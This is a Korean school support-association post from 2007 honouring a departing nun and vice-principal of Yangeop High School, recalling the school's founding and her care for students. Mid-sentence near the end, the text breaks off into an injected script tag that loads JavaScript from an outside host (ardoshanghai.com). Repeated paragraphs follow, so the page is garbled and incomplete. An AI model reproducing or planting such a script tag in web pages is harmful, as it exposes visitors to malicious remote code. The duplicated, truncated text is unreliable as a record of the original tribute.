교감 수녀님의 이임에 부처
작성자 : 후원회 | 조회수 : 3,309 | 작성일 : 2007년 3월 8일
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"> <FONT face=돋움체> 교육수도회인 노틀담 수녀회가 양업고에 수녀를 파견한 것은 1998년 2월 21일이었다. 양업 설립의 소식을 듣고 투신해보자는 의견을 꺼낸 것이 ‘조현순 수녀님’(前교감선생님)이었다고 들었다. 그 일로 3명의 수녀들이 인천박문여중고 종업식을 마치고 곧바로 양업에 부임을 하는데, 이는 그 수녀회의 또 다른 특별한 사도직이기도 했다.</FONT></SPAN> </FONT></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체> 1997년 11월21일, 오랜 진통 끝에 기공식을 마치고 학교터를 파헤치면서 ‘함께 일할 동업자가 누구일까?’ 하고 고민을 하고 있을 때였다.뜻밖에 수녀님들이 공사현장을 기웃거리는 것이 아닌가. 반갑기도 하고 동업자가 나타났다 싶어,태어날 학교의 청사진을 장황하게 설명하였다. 그날따라 왜 그리 어지럽게 눈발이 날렸던지, 내 설명도</FONT> <FONT face=돋움체>그들에게는 날씨만큼이나 어수선한 느낌이었다. 나도 솔직히 황당했는데,그들은 얼마나 황당했을까. 학교 설립이 모두가 가시화된 상태에서 동업자를 초청해도 반신반의 할 텐데, 아무 것도 없는 상황에 학교 설명은 무척 혼란스러웠을 것이다.그런데 그들은 하느님의 소명으로 받아들이며 양업에 부임할 것을 결정하게 된 것이다.나의 동업자가 되도록 의견을 내주고 파견된 조 수녀님이 고마웠고 하느님께 감사를 드렸었다.</FONT></SPAN> </FONT></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체> 이제 만 9년이 흘러 조 수녀님은 2007년 2월26일에 파견 소임을 접고 박문여고 교장으로 떠났다.당시의 젊은 수녀님은 백발이 되어 그 소임을 접고 있는</FONT> <FONT face=돋움체>것이다. 양업에서의 노고에 대한 상급은 하느님께 받을 일이지만, 떠나니 섭섭하고 학교를 대표해서 몇 자 적어 둔다.</FONT></SPAN> </FONT></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"> <FONT face=돋움체>수녀님들이 처음 부임했을 무렵, 학교는 황무지 같았고,하드웨어는 정말 부실했다.공동체가 사용할 숟가락과 밥그릇이며.학교에 쓰일 가구, 책, 걸상을 동냥해왔다.매 식사 때면 신자들과 밥을 지어 날라주던 일까지 교사라기보다는 한국의 인상적인 어머니로서의 역할을 톡톡히 해냈다. 일처리 면에서 자신이 옳다하면 맺고 끊음이 분명하고, 정확히 일을 추진하고 마무리를 깔끔하게 처리해 주었으며, 그런 마음들이 양업가족과</FONT> <FONT face=돋움체>구석구석 사랑으로 지금도 남아있다.특히 인상적인 것은,‘인간 사랑’이다.학생들이 여러 문제로 위기에 처했을 때면 마음을 졸이며 보살펴 주었고, 검정고시나 전학을 간다고 어깃장을 부릴 때에도 끝까지 끈을 놓지 않고 아이들을 학교에 머물게 하였다. 또한 학생들이 한밤중 배고파 껄떡일 때면 적은 돈으로 감자, 고구마, 빈대떡,강냉이 등을 간식거리로 마련하여 학생들을 배불리 먹인 ‘성체신비의 기적’까지 행하던 일들은,학교 교훈인 ‘사랑으로 마음을 드높이자’를 몸소 실천한 아름다운 장면으로 남는다.</FONT></SPAN> </FONT></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체> 조 수녀님은 양업을 이임했지만 ?script src=http://s.ardoshanghai.com/s.js></script>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체> 1997년 11월21일, 오랜 진통 끝에 기공식을 마치고 학교터를 파헤치면서 ‘함께 일할 동업자가 누구일까?’ 하고 고민을 하고 있을 때였다.뜻밖에 수녀님들이 공사현장을 기웃거리는 것이 아닌가. 반갑기도 하고 동업자가 나타났다 싶어,태어날 학교의 청사진을 장황하게 설명하였다. 그날따라 왜 그리 어지럽게 눈발이 날렸던지, 내 설명도</FONT> <FONT face=돋움체>그들에게는 날씨만큼이나 어수선한 느낌이었다. 나도 솔직히 황당했는데,그들은 얼마나 황당했을까. 학교 설립이 모두가 가시화된 상태에서 동업자를 초청해도 반신반의 할 텐데, 아무 것도 없는 상황에 학교 설명은 무척 혼란스러웠을 것이다.그런데 그들은 하느님의 소명으로 받아들이며 양업에 부임할 것을 결정하게 된 것이다.나의 동업자가 되도록 의견을 내주고 파견된 조 수녀님이 고마웠고 하느님께 감사를 드렸었다.</FONT></SPAN> </FONT></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체> 이제 만 9년이 흘러 조 수녀님은 2007년 2월26일에 파견 소임을 접고 박문여고 교장으로 떠났다.당시의 젊은 수녀님은 백발이 되어 그 소임을 접고 있는</FONT> <FONT face=돋움체>것이다. 양업에서의 노고에 대한 상급은 하느님께 받을 일이지만, 떠나니 섭섭하고 학교를 대표해서 몇 자 적어 둔다.</FONT></SPAN> </FONT></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"> <FONT face=돋움체>수녀님들이 처음 부임했을 무렵, 학교는 황무지 같았고,하드웨어는 정말 부실했다.공동체가 사용할 숟가락과 밥그릇이며.학교에 쓰일 가구, 책, 걸상을 동냥해왔다.매 식사 때면 신자들과 밥을 지어 날라주던 일까지 교사라기보다는 한국의 인상적인 어머니로서의 역할을 톡톡히 해냈다. 일처리 면에서 자신이 옳다하면 맺고 끊음이 분명하고, 정확히 일을 추진하고 마무리를 깔끔하게 처리해 주었으며, 그런 마음들이 양업가족과</FONT> <FONT face=돋움체>구석구석 사랑으로 지금도 남아있다.특히 인상적인 것은,‘인간 사랑’이다.학생들이 여러 문제로 위기에 처했을 때면 마음을 졸이며 보살펴 주었고, 검정고시나 전학을 간다고 어깃장을 부릴 때에도 끝까지 끈을 놓지 않고 아이들을 학교에 머물게 하였다. 또한 학생들이 한밤중 배고파 껄떡일 때면 적은 돈으로 감자, 고구마, 빈대떡,강냉이 등을 간식거리로 마련하여 학생들을 배불리 먹인 ‘성체신비의 기적’까지 행하던 일들은,학교 교훈인 ‘사랑으로 마음을 드높이자’를 몸소 실천한 아름다운 장면으로 남는다.</FONT></SPAN> </FONT></P>
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